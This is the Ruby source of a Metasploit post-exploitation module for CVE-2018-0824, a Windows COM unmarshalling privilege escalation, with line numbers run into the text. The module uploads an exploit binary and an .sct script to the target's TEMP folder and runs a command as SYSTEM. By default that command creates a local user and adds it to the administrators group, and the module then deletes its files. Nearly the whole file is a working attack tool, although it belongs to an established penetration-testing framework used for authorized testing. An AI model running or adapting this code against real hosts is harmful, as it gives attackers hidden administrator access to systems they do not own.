Path: blob/master/modules/post/windows/escalate/unmarshal_cmd_exec.rb
19500 views
# This module requires Metasploit: https://metasploit.com/download1# Current source: https://github.com/rapid7/metasploit-framework2##34class MetasploitModule < Msf::Post5include Msf::Post::Common6include Msf::Post::File7include Msf::Post::Windows::Version89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Windows unmarshal post exploitation',14'Description' => %q{15This module exploits a local privilege escalation bug which exists16in Microsoft COM for Windows when it fails to properly handle serialized objects.17},18'References' => [19['CVE', '2018-0824'],20['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-0824'],21['URL', 'https://github.com/x73x61x6ex6ax61x79/UnmarshalPwn'],22['EDB', '44906']23],24'Author' => [25'Nicolas Joly', # Vulnerability discovery26'Matthias Kaiser', # Exploit PoC27'Sanjay Gondaliya', # Modified PoC28'Pratik Shah <[email protected]>' # Metasploit module29],30'DisclosureDate' => '2018-08-05',31'Platform' => ['win'],32'Arch' => ARCH_X64,33'License' => MSF_LICENSE,34'Compat' => {35'Meterpreter' => {36'Commands' => %w[37stdapi_sys_config_getenv38]39}40},41'Notes' => {42'Stability' => [CRASH_SAFE],43'SideEffects' => [ARTIFACTS_ON_DISK],44'Reliability' => []45}46)47)4849register_options(50[51OptString.new('COMMAND',52[false, 'The command to execute as SYSTEM (Can only be a cmd.exe builtin or Windows binary, (net user /add %RAND% %RAND% & net localgroup administrators /add <user>).', nil]),53OptString.new('EXPLOIT_NAME',54[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),55OptString.new('SCRIPT_NAME',56[false, 'The filename to use for the COM script file (%RAND% by default).', nil]),57OptString.new('PATH',58[false, 'Path to write binaries (%TEMP% by default).', nil]),59]60)61end6263def setup64super65validate_active_host66@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(6..13)67@script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(6..13)68@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)69@script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i)70@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')71@exploit_path = "#{temp_path}\\#{exploit_name}"72@script_path = "#{temp_path}\\#{script_name}"73end7475def populate_command76username = Rex::Text.rand_text_alpha(6..13)77password = Rex::Text.rand_text_alpha(6..13)78print_status("username = #{username}, password = #{password}")79cmd_to_run = 'net user /add ' + username + ' ' + password80cmd_to_run += ' & net localgroup administrators /add ' + username81print_status(cmd_to_run)82return cmd_to_run83end8485def validate_active_host86print_status("Attempting to Run on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")87rescue Rex::Post::Meterpreter::RequestError => e88elog(e)89raise Msf::Exploit::Failed, 'Could not connect to session'90end9192def validate_remote_path(path)93unless directory?(path)94fail_with(Failure::Unreachable, "#{path} does not exist on the target")95end96end9798def validate_target99if sysinfo['Architecture'] == ARCH_X86100fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')101end102version = get_version_info103unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win10_1803)104fail_with(Failure::Unknown, 'The exploit does not support this OS')105end106end107108def ensure_clean_destination(path)109if file?(path)110print_status("#{path} already exists on the target. Deleting...")111begin112file_rm(path)113print_status("Deleted #{path}")114rescue Rex::Post::Meterpreter::RequestError => e115elog(e)116print_error("Unable to delete #{path}")117end118end119end120121def upload_exploit122local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'UnmarshalPwn.exe')123upload_file(exploit_path, local_exploit_path)124print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")125end126127def upload_script(cmd_to_run)128vprint_status("Creating the sct file with command #{cmd_to_run}")129local_script_template_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-0824', 'script_template')130script_template_data = ::IO.read(local_script_template_path)131vprint_status("script_template_data.length = #{script_template_data.length}")132full_command = 'cmd.exe /c ' + cmd_to_run133script_data = script_template_data.sub!('SCRIPTED_COMMAND', full_command)134135if script_data.nil?136fail_with(Failure::BadConfig, 'Failed to substitute command in script_template')137end138139vprint_status("Writing #{script_data.length} bytes to #{script_path} to target")140write_file(script_path, script_data)141vprint_status('Script uploaded successfully')142end143144def run145if datastore['COMMAND'].nil?146cmd_to_run = populate_command147else148cmd_to_run = datastore['COMMAND']149end150print_status("exploit path is: #{exploit_path}")151print_status("script path is: #{script_path}")152print_status("command is: #{cmd_to_run}")153begin154validate_active_host155validate_target156validate_remote_path(temp_path)157ensure_clean_destination(exploit_path)158ensure_clean_destination(script_path)159vprint_status("Uploading Script to #{script_path}")160upload_script(cmd_to_run)161vprint_status("Uploading Exploit to #{exploit_path}")162upload_exploit163vprint_status('Launching Exploit...')164command_output = cmd_exec(exploit_path + ' ' + script_path)165vprint_status(command_output)166print_good('Exploit Completed')167ensure_clean_destination(exploit_path)168ensure_clean_destination(script_path)169rescue Rex::Post::Meterpreter::RequestError => e170elog('Command failed, cleaning up', error: e)171print_good('Command failed, cleaning up')172print_error(e.message)173ensure_clean_destination(exploit_path)174ensure_clean_destination(script_path)175end176end177attr_reader :exploit_name, :script_name, :temp_path, :exploit_path, :script_path178end179180181